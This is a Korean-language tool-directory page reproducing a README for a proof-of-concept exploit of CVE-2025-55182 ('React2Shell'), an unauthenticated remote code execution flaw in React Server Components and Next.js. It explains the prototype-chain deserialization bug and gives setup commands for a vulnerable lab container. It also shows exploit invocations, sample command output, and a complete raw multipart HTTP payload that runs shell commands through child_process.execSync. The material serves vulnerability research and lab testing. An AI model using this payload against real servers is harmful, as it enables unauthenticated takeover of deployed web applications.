Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182 — CVE-2025-55182 — React2Shell | Kitploit
도구/GitHubGitHub/ryosukedtomita/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubryosukedtomita/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 — React2Shell

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

CVE-2025-55182 — React2Shell

NOLICENSE

목차

  • 소개
  • 환경
  • 사용 방법

소개

CVE-2025-55182("React2Shell")는 React Server Components의 Flight 프로토콜 역직렬화기에 존재하는 CVSS 10.0의 인증 불필요 RCE 취약점입니다.

취약점 개요

React의 Flight 프로토콜 클라이언트 내의 reviveModel 함수가 객체 키를 hasOwnProperty로 검증하지 않기 때문에, 공격자는 __proto__ → constructor → Function constructor의 프로토타입 체인을 따라 임의의 JavaScript를 실행할 수 있습니다.

Next-Action 헤더가 포함된 multipart POST 하나로 인증 전에 역직렬화가 발생하므로, 인증 없이 공격이 성립합니다.

영향 범위

구성 요소취약한 버전수정 버전
React19.0.0 – 19.2.019.2.1
Next.js≤ 16.0.616.0.7

환경

구성

root@kitploit:~
CVE-2025-55182/
├── flake.nix          # Nix dev shell (nodejs_20, yarn, python3+requests)
├── poc.py             # エクスプロイトスクリプト
└── target/            # 脆弱な Next.js アプリ
    ├── Containerfile  # podman ビルド用
    ├── package.json   # [email protected] / [email protected]
    ├── next.config.ts
    ├── tsconfig.json
    └── app/
        ├── layout.tsx
        └── page.tsx

의존 도구

  • Nix — 재현 가능한 개발 환경
  • podman — 컨테이너 런타임
  • Python 3 + requests — PoC 실행

사용 방법

1. 개발 셸 시작

root@kitploit:~
nix develop

2. 컨테이너 빌드

root@kitploit:~
podman build -t cve-2025-55182 target/

3. 취약한 서버 시작

root@kitploit:~
podman run -d -p 3000:3000 --name vuln cve-2025-55182

4. 익스플로잇 실행

root@kitploit:~
python poc.py http://localhost:3000 "id"

응답 JSON의 digest 필드에 명령 실행 결과가 반환됩니다.

root@kitploit:~
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)

5. 부작용 확인

root@kitploit:~
# ファイル書き込み
python poc.py http://localhost:3000 "touch /tmp/pwned"

# コンテナ内で確認
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # こっちでも可能

Burp Suite로 확인하는 방법

localhost:8080에서 Burp를 실행 중이라는 전제

root@kitploit:~
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2

--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"

"$@0"
--19a7dba25a68483f4234c90a07a425a2--

6. 정리

root@kitploit:~
podman stop vuln && podman rm vuln
도구 다운로드